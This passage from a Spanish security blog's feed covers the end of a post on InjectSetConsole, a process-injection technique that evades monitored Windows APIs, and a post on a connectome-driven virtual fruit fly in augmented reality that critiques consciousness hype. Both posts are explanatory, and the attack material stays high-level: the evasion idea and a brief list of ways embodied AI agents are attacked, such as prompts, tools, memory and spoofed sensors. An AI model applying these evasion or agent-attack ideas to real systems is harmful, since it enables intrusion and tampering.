deja de ser simplemente otra técnica de &lt;em&gt;process injection&lt;/em&gt; y se convierte en un buen ejemplo de la evolución de las técnicas ofensivas: &lt;strong&gt;cuando una API empieza a estar demasiado vigilada, no siempre hay que buscar otra API equivalente; a veces basta con conseguir que el propio proceso haga el trabajo.&lt;/strong&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpeg8XZ0ouKTBuOkxzw-2GwYfQSzd-2Y-2LR_bndsiRqntMir2JSpEUdoZX1eg02r4zmE61puGpqqLp-J16u31o0nidDQ69IUwk0r0MtWkIKMSvc385tEj95iYtkTjbnUIxlTqbqo7OH_xVqHymOWs1wXIw2O0ccFHXdrN_6lud0JZySK2HzvimoPJ0UMp/s1536/injectsetconsole.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1536&quot; height=&quot;426&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpeg8XZ0ouKTBuOkxzw-2GwYfQSzd-2Y-2LR_bndsiRqntMir2JSpEUdoZX1eg02r4zmE61puGpqqLp-J16u31o0nidDQ69IUwk0r0MtWkIKMSvc385tEj95iYtkTjbnUIxlTqbqo7OH_xVqHymOWs1wXIw2O0ccFHXdrN_6lud0JZySK2HzvimoPJ0UMp/w640-h426/injectsetconsole.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Repositorio:&lt;/strong&gt; &lt;a href=&quot;https://github.com/TwoSevenOneT/InjectSetConsole&quot;&gt;TwoSevenOneT/InjectSetConsole&lt;/a&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/5991849114580838291/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/09/injectsetconsole-sin-VirtualAllocEx-ni-WriteProcessMemory.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/5991849114580838291'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/5991849114580838291'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/09/injectsetconsole-sin-VirtualAllocEx-ni-WriteProcessMemory.html' title='InjectSetConsole: inyección de código en procesos remotos sin VirtualAllocEx ni WriteProcessMemory'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/DCUnbj_usPM/default.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-2025948044577416584</id><published>2026-09-14T00:35:23.471+02:00</published><updated>2026-09-14T00:55:44.475+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="AI"/><category scheme="http://www.blogger.com/atom/ns#" term="curiosidades"/><category scheme="http://www.blogger.com/atom/ns#" term="inteligencia artificial"/><category scheme="http://www.blogger.com/atom/ns#" term="técnicas"/><title type='text'>La mosca digital que tiene un cerebro conectado al mundo</title><content type='html'>&lt;p&gt;Estos días está circulando una demo en la que una mosca virtual, representada mediante realidad aumentada, recibe información del mundo a través de unas Spectacles y responde utilizando un sistema nervioso reconstruido a partir del cerebro de una mosca real. El resultado es una pequeña criatura digital que puede ver, reaccionar y mover su cuerpo virtual en función de lo que tiene delante.&lt;/p&gt;
&lt;div style=&quot;margin: 45px auto 35px; max-width: 960px; width: 100%;&quot;&gt;

  &lt;div style=&quot;background: rgb(0, 0, 0); border: 1px solid rgb(34, 34, 34); box-sizing: border-box; padding: 4px;&quot;&gt;

    &lt;video controls=&quot;&quot; playsinline=&quot;&quot; preload=&quot;metadata&quot; style=&quot;background: #000; display: block; height: auto; margin: 0; width: 100%;&quot;&gt;
      &lt;source src=&quot;https://pbs.twimg.com/amplify_video/2098832646461898752/vid/avc1/1922x1440/EzXtkEGahLLEtnO1.mp4&quot; type=&quot;video/mp4&quot;&gt;&lt;/source&gt;

      Tu navegador no soporta la reproducción de vídeo HTML5.
    &lt;/video&gt;

    &lt;div style=&quot;color: #888888; font-size: 12px; line-height: 1.4; padding: 9px 6px 5px;&quot;&gt;
      &lt;em&gt;
        Demo de una mosca digital ejecutando el conectoma MaleCNS.
        Vídeo original:
        &lt;a href=&quot;https://x.com/ZentrixHQ/status/2099025525972836471&quot; rel=&quot;noopener noreferrer&quot; style=&quot;color: #aaaaaa;&quot; target=&quot;_blank&quot;&gt;@ZentrixHQ&lt;/a&gt;,
        creado por
        &lt;a href=&quot;https://x.com/pt_pavlo&quot; rel=&quot;noopener noreferrer&quot; style=&quot;color: #aaaaaa;&quot; target=&quot;_blank&quot;&gt;@pt_pavlo&lt;/a&gt;.
      &lt;/em&gt;
    &lt;/div&gt;

  &lt;/div&gt;

&lt;/div&gt;

&lt;p&gt;La forma más rápida de contarlo es decir que han creado una mosca artificial con cerebro propio. La forma más interesante, sin embargo, es bastante menos espectacular y bastante más técnica: han conectado un modelo computacional basado en el cableado neuronal de una mosca a un entorno y han cerrado el bucle entre percepción y acción.

Para entender por qué esto tiene cierta importancia conviene empezar unas cuantas casillas antes, porque la palabra que está detrás de todo esto, conectoma, probablemente va a empezar a aparecer mucho más en conversaciones sobre inteligencia artificial.&lt;/p&gt;&lt;h2&gt;El cerebro como un enorme grafo&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwqhCN2v0jxxrNQQ5VYGkdAXrsr4wnG3OXZrWq0yeHqelvqw9Se88QbO031kH6NW4cvAg4GuiIX4XJGLu1_E3lKqndCB9BqDH3rA-IuLNmGqlB5QLsmpH_6x_pJGS7eeEn9YBTLUPaeW5YO49TKIh_56vcTtqps_6PnWa0zyLORXkey6dQgFIiwuRBftBE/s344/conectoma.png&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;344&quot; data-original-width=&quot;250&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwqhCN2v0jxxrNQQ5VYGkdAXrsr4wnG3OXZrWq0yeHqelvqw9Se88QbO031kH6NW4cvAg4GuiIX4XJGLu1_E3lKqndCB9BqDH3rA-IuLNmGqlB5QLsmpH_6x_pJGS7eeEn9YBTLUPaeW5YO49TKIh_56vcTtqps_6PnWa0zyLORXkey6dQgFIiwuRBftBE/s320/conectoma.png&quot; width=&quot;233&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Un &lt;a href=&quot;https://es.wikipedia.org/wiki/Conectoma&quot; target=&quot;_blank&quot;&gt;conectoma&lt;/a&gt; es, simplificando bastante, un mapa de las conexiones de un sistema nervioso. Si pensamos en el cerebro como una red, las neuronas serían los nodos y las conexiones sinápticas serían las aristas que los unen. El objetivo de la conectómica (&lt;em&gt;connectomics&lt;/em&gt;) es reconstruir ese grafo con el mayor nivel de detalle posible.&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La idea no es nueva. Lo que ha cambiado radicalmente durante los últimos años es nuestra capacidad para obtener los datos necesarios.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Reconstruir un cerebro de esta forma no consiste en hacerle una resonancia y obtener una bonita imagen en 3D. Para conocer realmente la conectividad hay que observar las estructuras neuronales a una escala microscópica, identificar cada neurona, seguir sus prolongaciones y determinar dónde establece conexiones con otras células. En los proyectos modernos esto implica enormes volúmenes de microscopía electrónica, algoritmos de segmentación, reconstrucción tridimensional y bastante intervención humana para corregir los errores que inevitablemente aparecen cuando intentamos convertir imágenes microscópicas en un grafo neuronal.&lt;/p&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El resultado se parece bastante más a reconstruir una infraestructura de red a partir de millones de paquetes capturados que a hacer una fotografía del cerebro.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y aquí aparece una distinción importante. Un conectoma nos dice fundamentalmente &lt;strong&gt;cómo está cableado el sistema&lt;/strong&gt;, pero no contiene automáticamente toda la información necesaria para simular su funcionamiento biológico. Saber que una neurona A está conectada con una neurona B no nos dice por sí solo todo lo necesario sobre la dinámica de esa conexión, los neurotransmisores implicados, la intensidad efectiva de la sinapsis, la actividad eléctrica, la neuromodulación o la plasticidad.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Por eso un conectoma no es un cerebro funcionando. Es, más bien, el plano de una máquina extremadamente compleja.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y tener ese plano empieza a ser interesante cuando somos capaces de convertirlo en algo ejecutable.&lt;/p&gt;&lt;h2&gt;La mosca que se dejó mapear&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;em&gt;&lt;/em&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;em&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhj2PzRN7qvxQCwUd3MNDE98mo7X-mVEBvXaLgWzvtF890dAhx6-VV7gcmMf4ZQdrYcIfh_bD1_Fz8SN3oM5oUMa0H8xVyTSNFx_x9NmFNHjq297ZY0t1viEIOWal5dBCPXeZWhjtokJoVtNIWeVn9qJfbRpL9oCz0VtXH1HcG-tXEUIkENUjnlFjaVKKZo/s503/fruitfly.jpg&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;400&quot; data-original-width=&quot;503&quot; height=&quot;254&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhj2PzRN7qvxQCwUd3MNDE98mo7X-mVEBvXaLgWzvtF890dAhx6-VV7gcmMf4ZQdrYcIfh_bD1_Fz8SN3oM5oUMa0H8xVyTSNFx_x9NmFNHjq297ZY0t1viEIOWal5dBCPXeZWhjtokJoVtNIWeVn9qJfbRpL9oCz0VtXH1HcG-tXEUIkENUjnlFjaVKKZo/s320/fruitfly.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/em&gt;&lt;/div&gt;&lt;em&gt;Drosophila melanogaster&lt;/em&gt; lleva décadas siendo una de las estrellas de la investigación biológica. Su pequeño tamaño, su ciclo de vida y la enorme cantidad de herramientas genéticas disponibles han convertido a la mosca de la fruta en uno de los organismos modelo más estudiados.&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;También tiene otra ventaja para los aficionados a la informática: su sistema nervioso es lo suficientemente pequeño como para que la reconstrucción completa empiece a ser técnicamente abordable.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Eso es precisamente lo que hace especialmente interesante a &lt;a href=&quot;https://male-cns.janelia.org/&quot; target=&quot;_blank&quot;&gt;MaleCNS&lt;/a&gt;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El proyecto de HHMI Janelia reconstruye el sistema nervioso central completo de un macho adulto de &lt;em&gt;Drosophila melanogaster&lt;/em&gt;. La versión 1.0 contiene alrededor de &lt;strong&gt;166.700 neuronas y 11.710 tipos celulares&lt;/strong&gt;, cubriendo el cerebro central, los lóbulos ópticos y el cordón nervioso ventral.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5rkD7LHj15fFVwH5l_T4SSU0wOWoLiHnYE_kOJExN0eE_xnazJV6_Y8n_8I2qQEsZMncthjurWXbtsrETNl681Dqiz-xPb0m-G5Ph0xM7AuQQyG1aVC69g3BHaooa5i_uGkTuhkQ0aJdCEcMciw7Z7f2UAi80S9Nur5vzyCbzIMxrrmEPSxambrEzgdK9/s1196/mcns-median-size-per-type-40-0482-3840x2160-white-rotated-lighter-cropped-small.png&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1196&quot; data-original-width=&quot;800&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5rkD7LHj15fFVwH5l_T4SSU0wOWoLiHnYE_kOJExN0eE_xnazJV6_Y8n_8I2qQEsZMncthjurWXbtsrETNl681Dqiz-xPb0m-G5Ph0xM7AuQQyG1aVC69g3BHaooa5i_uGkTuhkQ0aJdCEcMciw7Z7f2UAi80S9Nur5vzyCbzIMxrrmEPSxambrEzgdK9/s320/mcns-median-size-per-type-40-0482-3840x2160-white-rotated-lighter-cropped-small.png&quot; width=&quot;214&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Dicho de otra manera, tenemos algo que se aproxima bastante a un inventario completo de los componentes y conexiones de una máquina biológica capaz de percibir su entorno y producir comportamiento.&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El dataset permite además consultar la conectividad mediante herramientas como neuPrint, con acceso programático a neuronas, sinapsis y relaciones entre ellas. Para cualquiera que venga del mundo del software, hay algo extrañamente familiar en todo esto: podemos preguntar qué neuronas están conectadas, seguir caminos dentro del grafo y estudiar cómo una determinada entrada sensorial puede propagarse por el sistema hasta alcanzar circuitos asociados al comportamiento motor.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El cerebro de una mosca empieza a parecerse, desde fuera, a una infraestructura que podemos inspeccionar con nuestras propias herramientas.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La diferencia es que en lugar de estar buscando una ruta entre dos servidores estamos siguiendo una ruta neuronal.&lt;/p&gt;&lt;h2&gt;De un mapa neuronal a un sistema que funciona&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Aquí es donde el asunto se pone interesante. Tener el conectoma no significa que podamos meter el fichero en una máquina virtual y arrancar una mosca. Hay que construir un modelo computacional capaz de representar la actividad de esas neuronas y traducir los estímulos del entorno a señales que tengan sentido para ese modelo. Después hay que hacer el camino inverso: convertir la actividad de determinados circuitos en acciones que afecten al cuerpo virtual.&lt;/p&gt;&lt;div style=&quot;margin: 45px auto 35px; max-width: 960px; width: 100%;&quot;&gt;

  &lt;div style=&quot;aspect-ratio: 16 / 9; background: rgb(0, 0, 0); border: 1px solid rgb(34, 34, 34); overflow: hidden; position: relative; width: 100%;&quot;&gt;

    &lt;iframe allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; src=&quot;https://www.youtube.com/embed/TQ0T4C7noMo&quot; style=&quot;border: 0; height: 100%; left: 0; position: absolute; top: 0; width: 100%;&quot; title=&quot;Example visual-motor pathway in the fruit fly&quot;&gt;
    &lt;/iframe&gt;

  &lt;/div&gt;

  &lt;div style=&quot;color: #888888; font-size: 12px; line-height: 1.4; padding: 9px 6px 5px;&quot;&gt;
    &lt;em&gt;
      Example visual-motor pathway in the fruit fly.
      Vídeo publicado en
      &lt;a href=&quot;https://youtu.be/TQ0T4C7noMo&quot; rel=&quot;noopener noreferrer&quot; style=&quot;color: #aaaaaa;&quot; target=&quot;_blank&quot;&gt;YouTube&lt;/a&gt;.
    &lt;/em&gt;
  &lt;/div&gt;

&lt;/div&gt;&lt;p&gt;El concepto puede parecer sencillo sobre el papel, pero implica resolver una cantidad bastante seria de problemas de modelado.&lt;/p&gt;&lt;p&gt;Una arquitectura convencional de visión artificial podría hacer algo parecido a esto: CÁMARA -&amp;gt; RED NEURONAL / IA -&amp;gt; DECISIÓN -&amp;gt; ACCIÓN&lt;/p&gt;&lt;p&gt;El enfoque basado en un conectoma intenta mantener una estructura mucho más próxima a la organización de un sistema nervioso:&amp;nbsp;ENTORNO -&amp;gt; SENSORES -&amp;gt; NEURONAS SENSORIALES -&amp;gt; CONECTOMA -&amp;gt; NEURONAS DESCENDENTES -&amp;gt; CIRCUITOS MOTORES -&amp;gt; CUERPO -&amp;gt; ENTORNO&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La diferencia fundamental es que el sistema deja de ser una función estática de entrada y salida y pasa a comportarse como un bucle cerrado. Lo que hace en un instante modifica el estado del entorno y, por tanto, lo que recibirá como estímulo en el siguiente.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Esto es precisamente lo que hace que la palabra &lt;em&gt;embodiment&lt;/em&gt; resulte apropiada. El sistema no está únicamente generando una respuesta sobre un mundo que observa desde fuera; tiene un cuerpo virtual, sensores y actuadores, aunque estos sean digitales.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;&lt;/h2&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;span&gt;Y aquí es donde podemos empezar a entender la demo que ha generado todo el ruido.&lt;/span&gt;&lt;/p&gt;&lt;h2&gt;Una mosca dentro de la realidad aumentada&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La propuesta descrita por los desarrolladores lleva el experimento un paso más allá de los videojuegos y los entornos puramente virtuales.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Las Spectacles proporcionan información del entorno físico. Las cámaras capturan lo que ocurre alrededor del usuario y el sistema construye una representación computacional de ese espacio. Esa información se utiliza para proporcionar estímulos al sistema nervioso virtual de la mosca.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El procesamiento sigue entonces el circuito neuronal reconstruido y sus salidas se convierten en acciones del cuerpo de la mosca. Las alas, las patas y la cabeza pueden reaccionar en el entorno de realidad aumentada.&lt;/p&gt;&lt;p&gt;La arquitectura resultante se parece aproximadamente a esto:&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDficzg1LgAXZiqnzL8OhFZvshMKFHAThE15JbNRTbKt9kyWXUHpJ7jLdfPoA9c0rhyc9QwQnm3MgSVChp_JAWGKiGL6emEXKgXFgOVGppLNrl2BjCwChf0baIGtVAaQ4ZCdjwc-yNCEHkBIF3u91MQVU0KR5a_OGO81o6NcGZ3aczGb-bhbKe7M7ul3gc/s1536/virtualflyflow.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1536&quot; data-original-width=&quot;1024&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDficzg1LgAXZiqnzL8OhFZvshMKFHAThE15JbNRTbKt9kyWXUHpJ7jLdfPoA9c0rhyc9QwQnm3MgSVChp_JAWGKiGL6emEXKgXFgOVGppLNrl2BjCwChf0baIGtVAaQ4ZCdjwc-yNCEHkBIF3u91MQVU0KR5a_OGO81o6NcGZ3aczGb-bhbKe7M7ul3gc/s1600/virtualflyflow.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La diferencia con una animación tradicional es importante. Una animación puede decidir de antemano que la mosca debe girar cuando aparece determinado objeto. En este caso la intención es que la respuesta proceda del circuito neuronal que está procesando el estímulo.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;No se está programando explícitamente cada reacción de la mosca. Se está proporcionando información al sistema y dejando que el modelo del circuito produzca una salida.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Esto tampoco es completamente nuevo en términos experimentales. El conectoma de MaleCNS ya se ha utilizado para conectar el sistema neuronal simulado a entornos virtuales y producir comportamientos en aplicaciones como &lt;em&gt;Doom&lt;/em&gt;, &lt;em&gt;Super Mario 64&lt;/em&gt; o Beat Saber. Lo llamativo de la demo de realidad aumentada es que el entorno deja de ser únicamente un mundo digital diseñado para el experimento y empieza a incorporar información procedente del mundo físico.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y ahí es donde la cosa empieza a ponerse realmente interesante.&lt;/p&gt;&lt;h2&gt;No es un LLM jugando a ser una mosca&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Estamos tan acostumbrados a la arquitectura actual de la IA que tendemos a imaginar cualquier sistema inteligente como una variante de la misma receta: un modelo grande recibe información, razona sobre ella, utiliza unas herramientas y devuelve una acción.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Una mosca funciona de una manera radicalmente distinta.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;No necesita un modelo lingüístico para decidir que debe evitar una pared. No necesita generar una cadena de razonamiento para localizar una fuente de alimento. Su sistema nervioso está compuesto por circuitos especializados que reciben estímulos, mantienen estados internos y producen respuestas mediante una arquitectura que ha sido moldeada por millones de años de evolución.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y aquí está una de las preguntas científicas más interesantes que permite plantear la conectómica: &lt;strong&gt;¿cuánto comportamiento puede emerger directamente de la arquitectura de un sistema nervioso cuando le proporcionamos los estímulos adecuados?&lt;/strong&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La pregunta es muy distinta de entrenar una red neuronal para imitar el comportamiento observado de una mosca.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En el segundo caso estamos aprendiendo una función. En el primero estamos intentando reconstruir el mecanismo que genera esa función.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La diferencia recuerda un poco a la que existe entre entrenar un modelo para emular un sistema y conseguir ejecutar el sistema original.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Naturalmente, la analogía tiene límites. El MaleCNS no es una copia biofísica perfecta del cerebro de la mosca. Un conectoma tampoco contiene mágicamente todos los parámetros necesarios para reproducir cada proceso que ocurre en una neurona real. La simulación requiere modelos y aproximaciones.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Pero precisamente por eso el experimento resulta interesante: podemos empezar a medir cuánto comportamiento aparece cuando reconstruimos cada vez más fielmente la arquitectura neuronal.&lt;/p&gt;&lt;h2&gt;Y aquí llega el hype&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La parte que cogería con pinzas es el lenguaje utilizado alrededor de la demo.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1r3y_00BzjK066046W3qF1Cjj_CNRXYUPFLvnS3Y6IRwkJ79_NeuinN4rHFFNsFiHv1jUSnVkiRcBnQWxgJZti4bT-IanE8gFREFa6UMWZw5Z9qyB1wCM2gwmoeDaKpq_M4ao1DGE8sk7S9419xbtJdxkbQeojORWhQjsYU0UuW2171yg67U0HDJ-PDQL/s2304/flyAI.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;2304&quot; data-original-width=&quot;1664&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1r3y_00BzjK066046W3qF1Cjj_CNRXYUPFLvnS3Y6IRwkJ79_NeuinN4rHFFNsFiHv1jUSnVkiRcBnQWxgJZti4bT-IanE8gFREFa6UMWZw5Z9qyB1wCM2gwmoeDaKpq_M4ao1DGE8sk7S9419xbtJdxkbQeojORWhQjsYU0UuW2171yg67U0HDJ-PDQL/s320/flyAI.jpg&quot; width=&quot;231&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Decir que la mosca virtual tiene un sistema nervioso basado en el conectoma de una mosca real es una afirmación técnica que podemos discutir y contrastar.&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Decir que &quot;ve a través de sus propios ojos&quot; ya requiere matices, porque las entradas visuales están siendo capturadas por sensores artificiales y transformadas antes de llegar al modelo.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Pero el salto importante es la frase:&amp;nbsp;&lt;em&gt;The fly is experiencing a world.&lt;/em&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Ahí ya no estamos hablando solamente de arquitectura, estamos hablando de experiencia subjetiva.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y no tenemos ninguna base para afirmar que una simulación computacional de un conectoma esté teniendo una experiencia consciente del entorno. Podemos observar que procesa estímulos, que determinados circuitos se activan y que produce acciones coherentes con ellos. Podemos hablar de percepción en un sentido funcional.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Lo que no podemos hacer es convertir eso automáticamente en consciencia.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Es una distinción que conviene mantener, especialmente porque la terminología antropomórfica resulta tremendamente tentadora cuando un sistema empieza a comportarse de una manera que reconocemos como &quot;animal&quot;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La mosca puede estar procesando el mundo sin que eso implique que haya una pequeña mosca digital &lt;em&gt;dentro&lt;/em&gt; de las Spectacles mirando Madrid.&lt;/p&gt;&lt;h2&gt;El siguiente problema: embodiment&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgk9f5xLZRtoW5Zj-4OXJX26ABo10wxMRXoKn_xbBLlu_KvzKr5ZWfrm5mr6iyl_btxLiVLiKiwruiUN-7D_fJha9f60gofUmNhTFnCzCgQLSKgvarA9GAnuClqaRnfWRk_QQJG8GzgjAMt5yZ-hc81Hx8w1SLCTa5AaYvOnL3GQ54lUsvHHHLwEwz9KlL7/s2304/robot_feeling.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em; text-align: right;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;2304&quot; data-original-width=&quot;1664&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgk9f5xLZRtoW5Zj-4OXJX26ABo10wxMRXoKn_xbBLlu_KvzKr5ZWfrm5mr6iyl_btxLiVLiKiwruiUN-7D_fJha9f60gofUmNhTFnCzCgQLSKgvarA9GAnuClqaRnfWRk_QQJG8GzgjAMt5yZ-hc81Hx8w1SLCTa5AaYvOnL3GQ54lUsvHHHLwEwz9KlL7/w289-h400/robot_feeling.jpg&quot; width=&quot;289&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Lo que sí podemos afirmar es que estamos avanzando hacia una clase de sistemas de IA bastante diferente de los que hemos utilizado hasta ahora. Hace unos meses ya os hablamos de implementaciones de embodiment, mínimas pero incluso open source &lt;a href=&quot;https://www.hackplayers.com/2026/05/minimal-embodiment-IA-tocando-el-mundo.html&quot; target=&quot;_blank&quot;&gt;aquí&lt;/a&gt;.&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Un agente embodied tiene que resolver problemas que un modelo puramente digital puede ignorar. La percepción puede ser imperfecta, el entorno cambia, las acciones tienen consecuencias y existe un feedback continuo entre lo que el agente hace y lo que percibe después. Esto introduce una superficie de fallo completamente diferente.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Si estamos acostumbrados a atacar un LLM mediante prompts, herramientas, memoria, RAG o interfaces MCP, un agente embodied nos obliga a mirar también los sensores y los actuadores.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Podemos pensar en algo así:&amp;nbsp;SENSOR -&amp;gt; PERCEPCIÓN -&amp;gt; ESTADO INTERNO -&amp;gt; DECISIÓN -&amp;gt; ACCIÓN -&amp;gt; ENTORNO -&amp;gt; SENSOR...&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Cada una de esas interfaces puede convertirse potencialmente en una superficie de ataque.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Un sensor puede ser engañado. Una representación del entorno puede ser manipulada. 